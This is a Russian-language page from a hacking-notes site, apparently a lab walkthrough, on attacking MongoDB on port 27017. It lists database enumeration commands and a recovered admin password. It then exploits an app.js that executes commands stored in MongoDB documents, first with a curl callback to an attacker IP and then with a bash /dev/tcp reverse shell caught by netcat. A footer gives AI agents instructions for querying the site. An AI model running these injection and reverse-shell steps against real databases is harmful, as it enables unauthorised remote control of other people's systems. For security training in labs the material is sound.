> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/mongodb-27017.md).

# MongoDB — 27017

### Перечисление MongoDB

<figure><img src="/files/cd10ac0a68f87b015144c436e25d274b9ede2c39" alt=""><figcaption></figcaption></figure>

Подключитесь к базе данных MongoDB на порту 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/cea87286383a5f2719840fe31501da83db15e14a" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* password: IppsecSaysPleaseSubscribe

<figure><img src="/files/92b6fa42eac3cfd76c4c12fedecd09cb0767b649" alt=""><figcaption></figcaption></figure>

### RCE в MongoDB

У `app.js` скрипт выполняет системные команды из документов MongoDB через `doc.cmd`. Это критическая уязвимость, поскольку можно внедрять и выполнять произвольные команды.

<figure><img src="/files/bdd300e8e667663c518d3a4ee9f4aa1ed3eec557" alt=""><figcaption></figcaption></figure>

Подтвердите выполнение команд через MongoDB.

**Создайте локальный веб-сервер**

На атакующей машине запустите веб-сервер, чтобы наблюдать за запросами:

```bash
python3 -m http.server 80
```

**Вставьте тестовую команду в `tasks` коллекцию**

В MongoDB вставьте команду, которая выполняет HTTP-запрос к атакующей машине:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Наблюдайте за запросами**

Если вы видите запрос в логах веб-сервера, это подтверждает, что команды выполняются.

<figure><img src="/files/220fcb643a6b07bc78692a95fb96c6c7ba648268" alt=""><figcaption></figcaption></figure>

Настройте обратную оболочку и прослушивайте порт 443:

```bash
nc -nlvp 443
```

#### Запустите обратную оболочку

**Настройте прослушиватель на порту 443** На атакующей машине:

```bash
nc -nlvp 443
```

**Вставьте команду обратной оболочки**

В MongoDB вставьте команду для установления обратной оболочки:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Соединение успешно** После выполнения команды вы получаете интерактивную оболочку на целевой машине от имени пользователя **tom**.

<figure><img src="/files/e2573fb6c9b99f08ae9120cadf0cfc0cf145c909" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
